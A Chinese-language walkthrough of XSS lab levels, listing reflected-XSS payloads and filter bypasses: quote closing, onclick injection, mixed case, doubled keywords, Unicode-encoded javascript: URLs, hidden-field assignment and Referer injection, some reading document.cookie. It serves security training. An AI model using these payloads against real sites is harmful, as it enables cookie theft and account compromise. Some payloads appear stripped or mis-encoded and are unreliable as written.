无过滤法
“>闭合
“>&submit=搜索
通过观察发现alert里的引号没了,是不是被过滤了呢
因为如果该语句类似如下
<“Str”>,也就是说script在引号里面,那么是执行不了的,需要闭合操作,因此前面加个”>扔给前面的雨具语句
回显正常,但是没有执行,是什么原因呢,看下面这个发现是在input里
这些都是可供参考的模式
因此构造payload:’ οnclick= alert(“123”)
出现了红色的onclick,前面用双引号不出现
但是发现alert前面被加了双引号,然后后面又有一个单引号和双引号
因此应该补一个单引号,所以
payload:’ οnclick=’ alert(“123”);
看这里也是用到了input,那么还是用事件函数
payload:" οnclick=alert(‘123’);"
还是input,还得用事件函数
输入" οnclick= "alert(‘123’);
o和n被插入了_,也就是说需要做关键字绕过
因此只能再寻找方法:">xss
发现这个方式没有过滤
href也是,那咋办呢
大小写绕过:">xss
多写绕过
这一关会直接删除script,会删除on
绕过方法很简单,多写就行:" oonnclick=alert(‘123’);"
即中间多写一个on,两边再接起来就行
unicode编码
href 和script都被过滤,大小写也没用
最后只能使用unicode编码
https://c.runoob.com/front-end/3602/
unicode编码+//注释
或unicode编码+/**/注释
输入http://www.baidu.com,没有报错
输入:javascript:alert(‘xss’)//http://www.baidu.com
Unicode编码一下javascript:alert(‘xss’)
//表示注释后面的内容
javascript:alert(‘xss’)//http://
隐藏标签赋值
需为t_sort赋值,需把type赋值为空,不然不显示
t_sort=123" type=“” οnclick="alert(‘xss’)
这一关也存在隐藏标签
t_link=123" type=“” οnclick=“alert(‘xss’)
t_history=123” type=“” οnclick=“alert(‘xss’)
t_sort=123” type=“” οnclick=“alert(‘xss’)
t_ref=123” type=“” οnclick="alert(‘xss’)
逐个试完还是只有t_sort有变化,但type被写死了
既然语句写不进去,那么手动编辑就好了,强制给type赋值
referer注入
方法二是使用bp抓包通过修改入口referer链接实现
14关程序有误,链接点不进去,好像是个上传页面,要上传一个有exif漏洞的图片,算了,知道咋回事就行
浏览器左下角查看器,查找注入点所在代码
burp响应包referer/UA/cookie三处位置看是否在提交包中有对应信息
">
’ οnclick=’ alert(“123”);
" οnclick=alert(‘123’);"
">xss
">xss
" oonnclick=alert(‘123’);"
javascript:alert(‘xss’)
javascrIpt:alert(‘xss’)
javascript:alert(‘xss’)//http://www.baidu.com
javascript:alert(‘xss’)//http://
t_sort=123" type=“” οnclick="alert(‘xss’)
“ type=”” οnclick=”alert(document.cookie)
“ type=”” οnclick=”alert(document.cookie)
“ οnclick="alert(‘xss’) type=”